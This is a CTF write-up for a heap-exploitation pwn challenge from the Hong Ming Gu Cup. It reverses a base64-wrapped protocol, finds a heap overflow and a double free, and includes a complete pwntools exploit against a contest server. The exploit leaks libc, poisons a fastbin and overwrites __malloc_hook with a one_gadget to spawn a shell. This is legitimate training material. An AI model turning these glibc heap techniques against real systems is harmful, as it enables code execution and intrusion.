The Writeup Of Hong Ming Gu Cup Online

First Post:

Last Update:

Word Count:
3k

Read Time:
18 min

Hong Ming Gu Cup Online

1
2
3
4
5
战队名称:没有任何
战队排名:41
战队ID:T566675
解题数量:5
得分:634

PWN - [Maybe_fun_game (双边协议1.0)]

Intro

This challenge I think is a little bit difficult for me. because these vulnerability cannot exploit easily.

checksec

1
2
3
4
5
6
7
8
Checksec file: pwn
[*] '/run/media/i0gan/disk1/share/hmgb/pwn1/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

Attachment:

Maybe_fun_game.zip

Just a single binary file, not include libc.so.6 file. So we have to leak information of libc version by some ways.

Reversing

1
2
3
4
5
6
7
8
[i0gan@arch pwn1]$ ./pwn 
eFY0EnhWNBIuAAAAAAAAAAgAAAAAAAAABgAAAAAAAABBQUFBQUFBQTEuTmV3Lg==
eFY0EnhWNBIuAAAAAAAAAAgAAAAAAAAABgAAAAAAAABBQUFBQUFBQTIuRGVsLg==
eFY0EnhWNBIvAAAAAAAAAAgAAAAAAAAABwAAAAAAAABBQUFBQUFBQTMuRWRpdC4=
eFY0EnhWNBIvAAAAAAAAAAgAAAAAAAAABwAAAAAAAABBQUFBQUFBQTQuU2hvdy4=
eFY0EnhWNBIxAAAAAAAAAAgAAAAAAAAACQAAAAAAAABBQUFBQUFBQUNob2ljZSA/Pg==
AAA
eFY0EnhWNBI2AAAAAAAAAAgAAAAAAAAADgAAAAAAAABBQUFBQUFBQUlsbGVnYWwgTWFnaWMh

We don’t know how these words means, But easily guess that it is base64 encoded. Now we should analyse this binary file by IDA tools.

munu function

1
2
3
4
5
6
7
8
unsigned __int64 menu()
{
enc_print("1.New.");
enc_print("2.Del.");
enc_print("3.Edit.");
enc_print("4.Show.");
return enc_print("Choice >>");
}

Call enc_print function encoding string to print it.

main function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
const char *v3; // rax
char v4; // al
const char *v5; // rax
const char *body; // rax
char c; // cl
__int64 v8; // rdx
const char *body_; // rax
char c_; // cl
__int64 v11; // rdx

init_();
while ( 1 )
{
while ( 1 ) // delete
{
while ( 1 )
{
menu();
v3 = dec_input();
if ( !strcmp(v3, "ERROR") )
{
free(global_ptr);
exit(0);
}
v4 = *v3;
if ( v4 != '2' )
break;
free(src);
src = 0LL;
size = 0;
}
if ( v4 > '2' )
break;
if ( v4 == '1' ) // new
{
enc_print("Size >>");
v5 = dec_input();
size = strtol(v5, 0LL, 10);
free(global_ptr);
if ( (unsigned int)(size - 1) <= 0x7E )
{
src = (char *)malloc(size);
enc_print("Content >>");
body_ = dec_input();
if ( size > 0 )
{
c_ = *body_;
if ( *body_ )
{
v11 = 1LL;
do
{
src[v11 - 1] = c_;
if ( size <= (int)v11 )
break;
c_ = body_[v11++];
}
while ( c_ );
}
}
LABEL_18:
free(global_ptr);
}
else
{
enc_print("Illegal size!");
}
}
else
{
LABEL_12:
enc_print("Your Choice is invaild.");
}
}
if ( v4 == '3' ) // edit
{
enc_print("Content >>");
body = dec_input();
if ( size > 0 )
{
c = *body;
if ( *body != '\n' )
{
v8 = 1LL;
do
{
src[v8 - 1] = c;
if ( size <= (int)v8 )
break;
c = body[v8++];
}
while ( c != '\n' );
}
}
goto LABEL_18;
}
if ( v4 != '4' ) // print
goto LABEL_12;
enc_print(src);
}
}

All logical function are here.

These program have 4 functions

1.New: new data, needs size, and content
2.Del: delete data
3.Edit. edit data, just needs content
4.Show. show data content

We execute New function, that just use a src veriable to store returned pointer. that means we just can control a chunk every time.

When execute New function, input size more than 0x7F, So this program haven’t malloc memory, but set the size veriable as new one.

1
2
3
4
5
enc_print("Size >>");
v5 = dec_input();
size = strtol(v5, 0LL, 10);
free(global_ptr);
if ( (unsigned int)(size - 1) <= 0x7E )

That can cause modify the size variable. If we new a normal data, then we input a size more than > 0x7F, when we execute Edit function, we can input more data to chunk. So that cause a heap overflow here.

enc_print function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
unsigned __int64 __fastcall printw(char *src)
{
__int64 size_; // rbx
_QWORD *v2; // r14
char *v3; // rax
size_t v4; // rdx
char *v5; // r13
__int64 v6; // rax
__int64 vars0[512]; // [rsp+0h] [rbp+0h] BYREF
char s[4104]; // [rsp+1000h] [rbp+1000h] BYREF
unsigned __int64 vars2008; // [rsp+2008h] [rbp+2008h]

qword_203110 = 8LL;
vars2008 = __readfsqword(0x28u);
memset(vars0, 0, sizeof(vars0));
memset(s, 0, 0x1000uLL);
qword_203100 = 0x1234567812345678LL; // magic
size_ = strlen(src); // Get length of string
real_size = size_; // size
v2 = calloc(8uLL, 1uLL);
qword_203120 = (__int64)v2;
*v2 = 0x4141414141414141LL; // end flag
v3 = (char *)calloc(size_, 1uLL);
v4 = size_;
v5 = v3;
qword_203128 = (__int64)v3;
size_ += 0x28LL;
strncpy(v3, src, v4);
qword_203108 = size_;
vars0[1] = size_;
vars0[0] = qword_203100;
vars0[2] = qword_203110;
vars0[3] = real_size;
v6 = _stpcpy_chk((char *)&vars0[4] + strlen((const char *)&vars0[4]), v2, 4064LL); // copy end flag
_strcpy_chk(v6, (__int64)v5, 4064LL);
base64_enc((unsigned __int8 *)vars0, size_, (__int64)s);
puts(s);
return __readfsqword(0x28u) ^ vars2008;
}

We should reverse this protocol by read pseudo code.

src is a source string will be encoded.

qword_203100 = 0x1234567812345678 is protocol’s magic.

v2 store end flag of protocol

vars0 is an array to store information of this protocol

vars0[0]: protocol’s magic (0x1234567812345678)

vars0[1]: strlen(source string) + 0x28

vars0[2]: store qword_203100, value is 8, this value we can change.

vars0[3]: strlen(source string)

vars0[4]: header’s end flag of protocol, (0x4141414141414141)

Then source string will copy to end after vars0[4] and encoded with base64.

Now we can write decode function to decode what this program print.

1
2
3
def dec(d):
p = base64.b64decode(d)
return p[0x28:]

It’s too easy, just use base64 decode what this program print, then cuts header data off, let body data return.

Writting encode function to encode what we want input. but we have to analyse dec_input function.

dec_input function pseudo code as follows.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
const char *sub_1070()
{
__int64 i; // rax
__int64 j; // rbp
double v2; // xmm2_8
double v3; // xmm1_8
__int64 k; // rbp
int v5; // eax
double v6; // xmm1_8
size_t size_; // rdi
__int64 v8; // r12
void *v9; // rax
int v10; // eax
double v11; // xmm1_8
double v12; // xmm0_8
__int64 v13; // rax
void *v14; // rsi
__int64 l; // rax
__int64 v16; // rax
char *v18; // rdi
__int64 v19[2]; // [rsp+10h] [rbp-5058h]
__int64 v20[2]; // [rsp+20h] [rbp-5048h]
char buf[4096]; // [rsp+30h] [rbp-5038h] BYREF
char str[8192]; // [rsp+1030h] [rbp-4038h] BYREF
char v23[32]; // [rsp+3030h] [rbp-2038h] BYREF
char v24[8160]; // [rsp+3050h] [rbp-2018h] BYREF
unsigned __int64 v25; // [rsp+5038h] [rbp-30h]
char v26[40]; // [rsp+5040h] [rbp-28h] BYREF

v25 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
read(0, buf, 0x1000uLL);
memset(str, 0, sizeof(str));
base64_dec((unsigned __int8 *)buf, strlen(buf), (__int64)str);
v19[0] = 0x1234567812345678LL;
for ( i = 0LL; i != 8; ++i ) // check magic
{
if ( *((_BYTE *)v19 + i) != str[i] )
{
v18 = "Illegal Magic!";
goto ERROR; // check_magic... goto error
}
}
qword_2030C8 = 0LL;
for ( j = 0LL; j != 8; ++j ) // calc vars[1]: strlen(source string) + 0x28
{
v2 = (double)str[j + 8];
v3 = (double)(int)j;
qword_2030C8 = (unsigned int)(int)(pow(256.0, v3) * v2 + (double)(int)qword_2030C8);
}
sz = 0LL;
for ( k = 0LL; k != 8; ++k ) // vars[2]: defualt value is 8, this value we can control malloc size
{
v5 = str[k + 16];
v6 = (double)(int)k;
size_ = (unsigned int)(int)(pow(256.0, v6) * (double)v5 + (double)(int)sz);
sz = size_;
}
v8 = 0LL;
v9 = malloc(size_);
qword_2030D8 = 0LL;
data_buf = v9;
do
{ // vars[3]: strlen(source string)
v10 = str[v8 + 0x18];
v11 = (double)(int)v8++;
v12 = pow(256.0, v11) * (double)v10 + (double)(int)qword_2030D8;
qword_2030D8 = (unsigned int)(int)v12;
}
while ( v8 != 8 );
global_ptr = calloc((unsigned int)(int)v12, 1uLL);
if ( qword_2030C8 != (unsigned int)(int)v12 + sz + 0x20 )// check_size
{
v18 = "Illegal Head!";
ERROR:
enc_print(v18);
free(global_ptr);
free(data_buf);
return "ERROR";
}
v20[0] = 0x4141414141414141LL;
if ( sz > 0 ) // copy data to data_buf
{
v13 = 0LL;
do
{
*((_BYTE *)data_buf + v13) = str[v13 + 0x20];
++v13;
}
while ( sz > v13 );
}
v14 = data_buf;
for ( l = 0LL; l != 8; ++l ) // check end flag of protocol
{
if ( *((_BYTE *)v20 + l) != *((_BYTE *)data_buf + l) )
{
strcpy(v23, "Illegal Key!Your key is ");
memset(v24, 0, sizeof(v24));
_strcpy_chk((__int64)&v23[24], (__int64)data_buf, 0x2000LL);
v18 = v23;
goto ERROR;
}
}
if ( qword_2030D8 > 0 )
{
v16 = 0LL;
do
{
*((_BYTE *)global_ptr + v16) = v26[v16 - 0x3FF0 + sz];
++v16;
}
while ( qword_2030D8 > v16 );
v14 = data_buf;
}
free(v14);
return (const char *)global_ptr;
}

We can learn a lot from this function. because some especial data in header of protocol is very important, that can control malloc and calloc memory’s size, and some information can result parsing protocol error.

So we can write a encode function as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
def enc(d, ca_sz = -1, ma_sz = 8, ends = b'A' * 8):
if(ca_sz == -1):
ca_sz = len(d)
p = p64(0x1234567812345678) # vars[0]: magic
p += p64(ca_sz + ma_sz + 0x20) # vars[1]: size
p += p64(ma_sz) # vars[2]: control malloc(size), data_buf
p += p64(ca_sz) # vars[3]: strlen(source string), that can control calloc size
# through the check function
# we must make vars[1] == vars[2] + vars[3]
p += ends # end flags of protocol
p += d
p = base64.b64encode(p)
return p

Exploiting

How can we exploit?

First we should leak the libc, modify __malloc_hook as one_gadget by some ways, when we call malloc, then we can get shell.

How we do that?

We don’t know remote version what it is. we have to leak libc information by some vulnerability. I just use a normal way, then the program crashed with double free.

1
new(0x60, b'B' * 0x60)

Dumpping information as follows:

1
2
3
4
5
6
7
8
9
10
b'eFY0EnhWNBI1AAAAAAAAAAgAAAAAAAAADQAAAAAAAABBQUFBQUFBQUlsbGVnYWwgSGVhZCE=\n'
b"*** Error in `./pwn': double free or corruption (fasttop): 0x000055dcf13a6280 ***\n"
b'======= Backtrace: =========\n'
b'/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7f54311e47f5]\n'
b'/lib/x86_64-linux-gnu/libc.so.6(+0x8038a)[0x7f54311ed38a]\n'
b'/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f54311f158c]\n'
b'./pwn(+0xd15)[0x55dcef7f6d15]\n'
b'/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f543118d840]\n'
b'./pwn(+0xdc9)[0x55dcef7f6dc9]\n'
b'======= Memory map: ========\n'

We can calculate __libc_start_main address, that is 0x7f543118d840 - 0xf0, last 3 hex is 0x750. Use this website to find this libc and download it.

https://libc.blukat.me/

How to leak libc base address?

Using big unsorted bin can easily leak libc. We just malloc a big chunk, then free, when we next malloc our chunk

We can print main_arena address at our chunk

1
2
3
4
5
6
7
8
9
10
11
# malloc big size chuck
ru('jZSA/Pg==\n')
d = enc(b'', 0x18, 0x400) # set calloc size as 0x18, malloc size as 0x400
s(d)
new(0x68, b'\x78') # malloc our chunk, then print it, that will leak main_arena address
r = dp()
leak = u64(r.ljust(8, b'\x00'))
libc_base = leak - libc.sym['__malloc_hook'] - 0x10 - 88
one_gadget = libc_base + 0xf1207 # Use one_gaget tools to find it
__malloc_hook = libc_base + libc.sym['__malloc_hook']
li('libc_base: ' + hex(libc_base))

I debugged this program, I found have a lot min chunk to confusion layout of heap, so use heap overflow vulnerability not easily to control heap chunks.

But I found a double free vulnerability in this program.

In dec_input function

1
2
3
4
5
6
ERROR:
enc_print(v18);
free(global_ptr);
free(data_buf);
return "ERROR";
}

In main function

1
2
3
4
5
6
7
8
9
10
11
12
13
 v3 = dec_input();
if ( !strcmp(v3, "ERROR") )
{
free(global_ptr);
exit(0);
}
...

enc_print("Size >>");
v5 = dec_input();
size = strtol(v5, 0LL, 10);
free(global_ptr);
...

If we make an error in dec_input function, then will trigger double free vulnerability.

free(global_ptr) -> free(data_buf) -> free(global_ptr).

We don’t want exit when trigging this double free vulnerability, so input size at New statements can realize it.

How can we set double free?

Because we can control the global_ptr chunk size and data_buf chunk size by modifing protocol header.

1
2
vars[2]: control malloc(size), data_buf
vars[3]: strlen(source string), that can control calloc size

We want modify fastbin chunk’s fd pointing to __malloc_hook- 0x23 , malloc size and calloc size need to satisfy 0x60 ~ 0x68.

Make uaf, when we input size at New statments, we set ends flag is error, so free(global_ptr) -> free(data_buf) -> free(global_ptr)

1
2
3
4
ru('jZSA/Pg==\n')
s(enc(b'1')) # set malloc size as 0x400
print(dec(rl()))
s(enc(b'A', 0x68, 0x68, b'B' * 8))

debugging info: 0x70: 0x562c99a567a0 —▸ 0x562c99a56730 ◂— 0x562c99a567a0

Next, we just malloc(0x68), set contents as __malloc_hook - 0x23. So we modified the fastbin fd as our target address

1
new(0x68, p64(__malloc_hook - 0x23))

debugging info: 0x70: 0x5596226f6730 —▸ 0x5596226f67a0 —▸ 0x7f7baf0a6aed (_IO_wide_data_0+301)

Loop malloc(0x68) until malloc to __malloc_hook - 0x23, modify __malloc_hook as one_gadget, we can get shell when next call malloc

1
2
3
4
5
6
7
8
new(0x68, p64(0))
# debugging info: 0x70: 0x5651ddce97a0 —▸ 0x7faba905daed (_IO_wide_data_0+301)
new(0x68, p64(0))
# debugging info: 0x70: 0x7ff0b226daed (_IO_wide_data_0+301)

# Malloc memory to target chunk
# Trigger get shell
new(0x68, b'A' * 0x13 + p64(one_gadget))

exp

The full exp is as follows

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import base64
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = False)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path = 'pwn'

# remote server ip and port
host = "8.140.179.11:13452"

# if local debug
LOCAL = 0
LIBC = 1

#--------------------------func-----------------------------
def enc(d, ca_sz = -1, ma_sz = 8, ends = b'A' * 8):
if(ca_sz == -1):
ca_sz = len(d)
p = p64(0x1234567812345678) # vars[0]: magic
p += p64(ca_sz + ma_sz + 0x20) # vars[1]: size
p += p64(ma_sz) # vars[2]: control malloc(size), data_buf
p += p64(ca_sz) # vars[3]: strlen(source string), that can control calloc size
# through the check function
# we must make vars[1] == vars[2] + vars[3]
p += ends # end flags of protocol
p += d
p = base64.b64encode(p)
return p

def dec(d):
p = base64.b64decode(d)
return p[0x28:] # Remove header info, return body data

def db():
if(LOCAL):
gdb.attach(io)

def new(sz, d):
ru('jZSA/Pg==\n')
s(enc(b'1'))
print(dec(rl()))
s(enc(str(sz).encode()))
print(dec(rl()))
s(enc(d))

def rm():
ru('jZSA/Pg==\n')
s(enc(b'2'))
def md(d):
ru('jZSA/Pg==\n')
s(enc(b'3'))
print(dec(rl()))
s(enc(d))

def dp():
ru('jZSA/Pg==\n')
s(enc(b'4'))
return dec(rl())

def dump_libc_version():
#Dump remote libc, because trrger double free.
#/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f8b4a8ea840]
# libc6_2.23-0ubuntu11.2_amd64
new(0x60, b'B' * 0x60)

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
# Dump libc version, I dumped it, the version is 2.23
#dump_libc_version()

# Leak libc base
# We just malloc a big chunk, then free, when we next malloc our chunk,
# We can print main_arena address at our chunk
# malloc big size chuck
ru('jZSA/Pg==\n')
d = enc(b'', 0x18, 0x400) # set malloc size as 0x400
s(d)
new(0x68, b'\x78') # malloc our chunk, then print it, that will leak main_arena address
r = dp()
leak = u64(r.ljust(8, b'\x00'))
libc_base = leak - libc.sym['__malloc_hook'] - 0x10 - 88
one_gadget = libc_base + 0xf1207 # Use one_gaget tools to find it
__malloc_hook = libc_base + libc.sym['__malloc_hook']
li('libc_base: ' + hex(libc_base))
li('__malloc_hook: ' + hex(__malloc_hook))
li('one_gadget: ' + hex(one_gadget))

# Now we can use usf vulnerability to modify fastbin fd to __malloc_hook - 0x23
# So when we next malloc(0x70) memory, we can modify __malloc_hook buffer as one_gadget
# If we make dec_input return ERROR, so there is a obvious uaf vuln.
# If we wannt use this uaf vuln, we should malloc to our target address, so when we freed
# chunk, so next we must malloc to it, rather than exit this program

# Make uaf, when we input size at New statments, we set ends flag is error, so free(global_ptr) -> free(data_buf) -> free(global_ptr)

ru('jZSA/Pg==\n')
s(enc(b'1')) # set malloc size as 0x400
print(dec(rl()))
s(enc(b'A', 0x68, 0x68, b'B' * 8))
# debugging info: 0x70: 0x562c99a567a0 —▸ 0x562c99a56730 ◂— 0x562c99a567a0
# Next, we just malloc(0x68), set contents as __malloc_hook - 0x23. So we modified the fastbin fd as our target address
new(0x68, p64(__malloc_hook - 0x23))
# debugging info: 0x70: 0x5596226f6730 —▸ 0x5596226f67a0 —▸ 0x7f7baf0a6aed (_IO_wide_data_0+301)

new(0x68, p64(0))
# debugging info: 0x70: 0x5651ddce97a0 —▸ 0x7faba905daed (_IO_wide_data_0+301)
new(0x68, p64(0))
# debugging info: 0x70: 0x7ff0b226daed (_IO_wide_data_0+301)

# Malloc memory to target chunk
# Trigger
new(0x68, b'A' * 0x13 + p64(one_gadget))


def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
libc_path = '/glibc/2.23/64/lib/libc.so.6'
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
libc_path = './libc6_2.23-0ubuntu11.2_amd64.so'
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()

outputs:

1
2
3
4
5
6
7
8
    b'./getflag\n'
[DEBUG] Received 0x37 bytes:
00000000 1b 5b 34 37 3b 33 31 3b 35 6d 43 6f 6e 67 72 61 │·[47│;31;│5mCo│ngra│
00000010 74 75 6c 61 74 69 6f 6e 73 2c 70 6c 65 61 73 65 │tula│tion│s,pl│ease│
00000020 20 69 6e 70 75 74 20 79 6f 75 72 20 74 6f 6b 65 │ inp│ut y│our │toke│
00000030 6e 3a 1b 5b 30 6d 20 │n:·[│0m │
00000037
Congratulations,please input your token: $

Last: There are some questions helped by: flzx3qc, cnitlrt

Reverse

This direction of ctf, I want use my free time to resolove these challenges. This paper will conntinue to update.

打赏点小钱
支付宝 | Alipay
微信 | WeChat